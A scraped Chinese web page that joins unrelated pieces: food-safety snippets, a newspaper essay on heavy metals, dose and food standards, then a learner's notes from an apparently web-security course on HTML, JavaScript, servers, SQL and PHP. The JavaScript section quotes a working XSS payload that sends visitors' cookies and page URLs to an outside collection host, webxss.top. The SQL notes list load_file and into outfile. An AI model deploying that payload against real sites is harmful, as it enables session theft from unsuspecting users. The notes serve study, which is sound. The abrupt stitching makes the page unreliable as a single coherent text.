        (2) 使用劣质原料,食品缺乏营养

    4 疫病、生物性污染

        动物性食品是人类膳食的主要组成部分,近年来在世界各地流行的动物疫病也是造成食品安全的一大隐患,口蹄疫、疯牛病、禽流感的几次流行使人们闻禽色变。另外,海洋中寄生吸虫及其他寄生虫等生物污染也已引起了人们的重视。

     

     

     

     

     

     

     

    这些食品安全的基本常识 你得知道!

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      达利园法式软面包

      菌落总数超标186倍!

      

      回头客铜锣烧

      菌落总数超标173倍!

      

      这两起重磅曝光引发热议……

      那么,菌落总数到底是指什么?常听说的大肠杆菌、反式脂肪酸、甜蜜素又是什么?超标意味着什么?

      

      

      

      

      

      

      

      

      

     

    你应该知道的食品安全概念

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    2015-11-24 10:23:11 来源:东方早报 

      ·生活的土壤学·

      陈能场

      最近,朋友在微信上问我:“小孩吃香菜会不会影响健康?吃什么菜好些?”生活中我经常得到这样的询问。的确,现代社会的进步给我们的生活带来种种便利和生活质素的提高,在享受现代文明成果的同时却也有很多新的烦恼,其中之一就是每日三餐的安全问题。

      当看到这个询问时,我脑海中想起前年第246美国化学学会全国年会暨博览会上,美国印第安纳常春藤技术社区学院的道格拉斯·肖尔(Douglas Schauer)的报告以及去年年初疯传的新闻“香菜能过滤重金属” “香菜能吸附重金属” “香菜能分解水里的重金属”。果壳网对道格拉斯·肖尔的报告有详细的描述,文章最后说“香菜净水的秘密可能来自香菜细胞的细胞壁,它们有着吸附重金属的理想结构”。而报告人也确信“作为发展中国家的净水工具,香菜能够做出实质性的贡献”。

      现实生活中,类似的头疼问题其实不少,很多有营养的食品也会有较多的污染物。蘑菇就是这样一个让人矛盾的食品,网络曾疯一位从事蘑菇研究的留学博士的文章,说到前苏联发生切尔诺贝利核泄漏后,当地被污染的蘑菇中放射性含量极高。有人谈及蘑菇吸收重金属能力强,而另一方面蘑菇却含有高营养的物质。再比如,鱼类含有丰富的蛋白和DHA,是孕妇的首选,但鱼类又容易积累汞,汞不仅影响孕妇本人还可能传递给胎儿,那么鱼能不能吃呢?进退两难。不过研究表明鱼类消费降低发展中国家类风湿性关节炎、精神疾病和肺部疾病。最重要的是,吃鱼可以让心血管更健康,这被归因于多不饱和ω-3脂肪酸,但如果积累了镉,镉可能与高血压、中风和心脏衰竭有关,甚至恶化心血管疾病,食物被镉污染了,所带来的镉暴露的风险可能会抵消吃鱼对心脏的保护作用。

      那么,面对食品安全,我们应该有什么样的概念和理念呢?

      一是风险概念。事实上100%零风险的食品是不存在的。拿重金属来说,重金属是地球矿物质的组成部分,只要是食物,不管产于土壤还是水体,都会含有一定量的微量重金属。1980年代美国农业部、FDA(Food and Drug Administration,食品药物管理局)和EPA( Environmental Protection Agency,美国环保署)三家曾做过一个全国主要粮食区的作物重金属含量的联合调查。结果表明288个小麦样品的镉含量变幅在

      二是剂量概念。既然食品存在风险,那么多大的量才会危险,给人体的健康带来损害呢?是的,风险的大小在于剂量了。16世纪,瑞士著名医生celsus提出有毒物的剂量反应。“Everything is a poison…it is only the dose that makes it not a poison”(任何物质都可以是有毒的,剂量决定毒物)。所以常常有人说“不谈剂量谈毒性是耍流氓”。砷为砒霜,是已被证明是一级致癌物,但极微量砷也被证明具有治癌作用。

      在现实生活中,大剂量急性中毒的情况越来越少了,反之,由于环境污染特别是土壤污染,低剂量长期摄取的人体曝露成为公众对食品安全最大的隐忧。重金属镉就是活生生的例子。对于镉,世界卫生组织(WHO)在1972年制定了镉的每周摄取暂定耐受量(PTWI)为430-500ug/人,到1989年,考虑了不同个体的重量差别,WHO 订改为7微克/周/公斤人体, 到2010年,考虑了镉在人体中半衰期长(17-38年)的因素,进一步修改为25微克/月/公斤人体,欧盟的标准很严格,同在2010年,制定镉每周的摄取量为TWI 2.5ug/kg人体,即为WHO制定的7微克/周/公斤人体的1/3左右。虽然随着毒理学等研究的深入,人体耐受的剂量越定越严格,但在科学剂量下,人体的健康能得到保障。

      三是标准概念。有了剂量的概念,就更容易理解现实中的标准,因为很多标准是从剂量推倒过来的。以大米镉为例,在日本发生痛痛病之初,从在狗身上的镉毒性试验以及人体从各种空气、饮食和饮食途径的来源推算,研究认为大米的镉的标准可以认定为1毫克/千克,但这一标准立即招来国民的反对,因为这个大米含量与在神通川发生痛痛病区域的大米平均镉含量极为相近,因此标准制定后立即修正为0.4毫克/千克,大于0.4而小于1.0毫克/千克的大米则需要转为为工业用途,而大于1.0的大米则只能烧毁。我国有65%的人口以大米为主食,因此规定了更为严格的大米镉标准,即为0.2毫克/千克,这个标准的背后含义是一辈子吃这样镉含量的大米身体都不会出问题,所以大可不必为因与镉大米的一次偶遇而紧张。

      四是ALARA概念。至今研究表明,汞、镉、铅是人体和其他生物体都不需要的元素,在体内的积累只会给人体的健康带来伤害,因此对于这类人类等生命体不需要的物质,自然是越低曝露越好,因此我们要有ALARA的概念,ALARA是As Law As Reasonal Achievable的缩写,最早用于辐射领域,意为尽可能低的辐射曝露。虽然有标准守护我们,但对于这类物质,做到极可能低的曝露,以保证身体更加健康。

      五是营养概念。研究表明,除了标准,能帮助守护健康的另一大秘密武器就是食物和体内中的营养了。大家知道日本发生过痛痛病,且是由于稻米中的镉引起的。但你更需要知道99%发生痛痛病的人是生育过2-3胎、48岁以后、家庭贫困、营养不良的妇女,且摄入量平均达600微克,是WHO规定的40倍左右。女性因为生育生理的原因容易缺钙铁锌等元素。有趣的是在新西兰南部的一个小岛,居民热衷于食用生蚝,生蚝也含大量的镉,其摄取的镉与日本发生痛痛病区域相近也是600微克,但被证明当地的人并没有什么健康问题,类似的例子是格陵兰的环斑海豹,其肾皮质镉含量超过哺乳动物产生痛痛病的值(200毫克/千克)的2倍多,达780毫克/千克,但也没有发现其存在健康问题,原因是体内的镉能很好地转换为金属蛋白而得到解毒。

      工业革命之后,人类进入机器时代,或者更贴切地说是金属时代,作为地壳物质一部分、沉睡在矿山中的重金属被挖掘、冶炼,最终释放于各种环境中。这些重金属经过各种各样过程最终归属到土壤和海洋中。有毒重金属进入了环境和生态链,打破原有的元素平衡,在食物链中富集、增加,人类作为大自然食物链中最顶端的动物,各种环境污染和破坏的行为最终由人类自己买单,品尝的其实是自己的恶果。

      显然只有保护环境才能让我们的食物减少各种风险,让我们的身体做到尽可能低的有毒物质的曝露,实现ALARA,让我们的食物更加有营养,让它和环境标准共同守住我们的健康。从食品安全和人类健康的角度来说,环保的真正含义是敬畏自然。

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    第一节 前端开发基础——HTML

    课程回顾

    1. Web页面通常使用哪几种语言开发?
    2. HTML结构包含哪两部分?
    3. HTML元素由哪几部分组成?
    4. 常见的HTML标签有哪些?
    5. HTML DOM是什么结构?

    总结回答

    1. HTML + CSS + Java Script
    2. Head 和 Body
    3. 开始标签(例如<P>),闭合标签(例如</p>), 内容,属性
    标签 表示
    注释 <!-- -->
    图像 <img src=’’ >
    链接 <a href=’’>
    表单 <form> </form>
    内联框架 <iframe src=’’> </iframe >
    HTML DOM
    DOCUMENT
    HTML
    HEAD
    BODY
    TITLE
    'MYTITLE'
    div
    h1
    p
    a

    参考资料

    初级

    1. 测验
      完成测验

    2. 实践
      完成实践中的“HTML实例”;在运行实验代码时,需要了解其含义,并尝试修改每一个实例相关的元素(标签、属性、内容)。

    3. 了解HTML实体
      http://www.runoob.com/html/html-entities.html
      http://www.runoob.com/tags/ref-entities.html

    4. 掌握HTML预留字符

    字符 实体编码 实体名称
    < &lt &#60
    > &gt &#62
    " &quot &#34
    &apos &#39
    & &amp &#38

    高级

    1. 熟悉HTML的常见事件属性
      了解on属性,参考其中的属性亲自试一试,让如onerror、onload、onclick、onchange、onfocus、oninput、onmousemove、onsubmit、onkeydown属性执行alert(1)。

    课程作业

    创建你的第一个html网页,

    包含内容:
    网页标题<title>: 我的第一个HTML网页
    使用<img>加载素材:
    http://edu-image.nosdn.127.net/FBEFFDA6D0AA8FE868373CB4FE111DDA.png imageView&thumbnail=1920y560&quality=100(width=“480” height=“150”)
    使用<img>加载学员云课堂头像(width=“50” height=“50”);
    并内联一个包含云课堂的框架(width=“500” height=“100”)。可试用换行符。
    并通过浏览器访问。将html代码文件和浏览器显示的内容截图贴到答题框内。
    在这里插入图片描述
    在这里插入图片描述

    第二节 前端开发基础——javascript

    课程回顾

    1. 我们在哪几个地方可以运行javascript?
    2. javascript如何获取元素和元素内容?
    3. javascript如何获取浏览器cookie?
    4. javascript由哪三部分组成?

    总结回答

    1. HTML的<script>和</script>之间,HTML的事件属性中(如onclick)以及浏览器的控制台。
    2. 获取元素:getElementById()
      获取元素内容:.innerHTML
      alert()在javascript中表示弹出一个警告框,用来展示信息。
    3. 获取浏览器cookie:document.cookie
    4. ECMCScript:javascript标准
      DOM 文档对象模型,HTML元素操作
      BOM 浏览器对象模型,浏览器操作

    参考资料

    初级

    1. 测验
      完成测验
    2. 实践
      完成实例
    3. 掌握javaScript的全局函数
      掌握
    4. 实用扩展
      使用js格式化工具格式化如下代码,并理解每一句:
    (function(){(new Image()).src='http://webxss.top/xss/index.php?do=api&id=Sx5tnh&location='+
    escape((function(){try{return document.location.href}catch(e){return ''}})())+
    '&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+
    '&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+
    '&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})(); 
    if(''==1){keep=new Image();
    keep.src='http://webxss.top/xss/index.php?
    do=keepsession&id=Sx5tnh&url='+escape(document.location)+'&cookie='+escape(document.cookie)}
    

    大概是获取webxss平台的登录主页图片…

    高级

    1. 框架扩展
      搜集整理常见的JavaScript框架,了解如何使用;
    2. 掌握JSONP
      1)熟悉json格式,参考
      2)学习jsonp格式,参考
      3)在学习1.2.3后, 将上述JSONP教程中的代码部署并实验jsonp如何跨域读取数据。
    3. 掌握AJAX技术
      参考实践

    课程作业

    1. 如下为一个html的元素:
      <p id=“hello”>Hello World!</p>
      如果想用javascript语言获取该元素内容,并将元素内容输出在浏览器页面上。则相关javascript代码如何写(不用全部写出,只写出关键的代码即可)。

      回答:document.write(document.getElementById(“hello”).innerHTML);
    2. 获取study.163.com的cookie并弹框显示。
      alert(document.cookie);

    第三节 WEB服务端环境

    课程回顾

    1. WEB动态页面大致解析过程是什么?
    2. WEB服务端包含哪两种服务?
    3. 本地访问时,四种访问网站的形式有哪些?
    4. 如何运行一个简单的WEB文件?

    总结回答

    1.动态页面解析

    网页浏览器Web服务器脚本解释器数据库服务器PHP传递请求请求数据解释运行脚本返回数据返回HTML网页返回网页网页浏览器Web服务器脚本解释器数据库服务器PHP
    1. Web服务(Apache)和数据库服务(MySQL)。
    2. 本地主机,127.0.0.1,本机IP,域名访问
    3. 新建文档到当前目录下,在浏览器中输入路径即可访问。

    参考资料

    初级

    1. 了解参加的Web服务架构
      1)搜集流行的Web服务端架构:
      2)整理了解这些Web构架的特点。
    2. 安装xampp
      不是很麻烦这里就不详细介绍了

    高级

    1. 安装tomcat环境,在网站目录下新建一个测试页面index.jsp
      内容为:
    <html>
        <head>
            <title>
                My first Tomcat!
            </title>
        </head>
        <body>
            <center>
                Now time is:
                <%=new java.util.Date()%>
            </center>
        </body>
    </html>
    

    要求正常显示页面。
    经过我一顿操作之后,页面显示如下
    在这里插入图片描述
    这里比较坑的是设置环境变量的时候直接复制了路径,千万不要复制! 千万不要复制!

    1. 尝试部署初级扩展中提到的几种Web架构。
      有心杀贼无力回天啊兄弟们。如果有兴趣自己部署一下吧。

    课程作业

    安装phpstudy,并配置hosts为:127.0.0.1 websecurity.163.com;并访问该域名。在答题框内给出成功访问该网站的截图(包含地址栏)。
    在这里插入图片描述

    第四节 后端开发基础——SQL

    课程回顾

    1. 如何才能创建一个数据库、表?
    2. 如何对表中数据进行增删改查?
    3. Mysql常见的内置函数有哪些?

    总结回答

    1. 创建数据库:CREATE DATABASE NAME;
      创建数据表:CREATE TABLE NAME(DES);
    2. 增:INSERT INTO TABLE() VALUE();
      删:DELETE FROM TABLE WHERE DES;
      改:UPDATE table SET DES WHERE DES;
      查:SELECT DES FROM TABLE;
    3. select database();
      select current_user;
      select load_file();
      select version();
      select into+outfile;

    参考资料

    1. 收集常见的数据库类型
      参考
    2. 测验
      完成测验
    3. 掌握phpmyadmin的基本操作
      增删查改。
    4. 学习函数
      掌握concat()、group_concat()、concat_ws()、load_file()、hex()、char()、count()、substring()、into+outfile、LOAD DATA INFIL、limit。

    课程作业

    作业时两个课上操作过的示范,这里就不重复了。

    第五节 后端开发基础——PHP

    课程回顾

    1. 什么是PHP?基本语法是什么?
    2. PHP变量$_POST, $_GET, $_FILES的用法。
    3. PHP include的用法?
    4. PHP如何操作数据库?

    总结回答

    1. PHP:Hypertext Preprocessor,超文本预处理器,是一种开源的通用计算机脚本语言,尤其适用于网络开发并可嵌入HTML中使用。 基本语法:<?php ?>,注释#///* */echoprint,串接 . ,函数名function() ,变量名$
    2. 都可用来传递值。
    3. <?php include "" ?>
    Mysql_connect
    Mysql_query.utf8
    Mysql_select_db
    Mysql_query.operate
    close

    课程作业

    视频中讲解的部分。

    展开全文
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    2009-09-16 08:45:34
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空空如也

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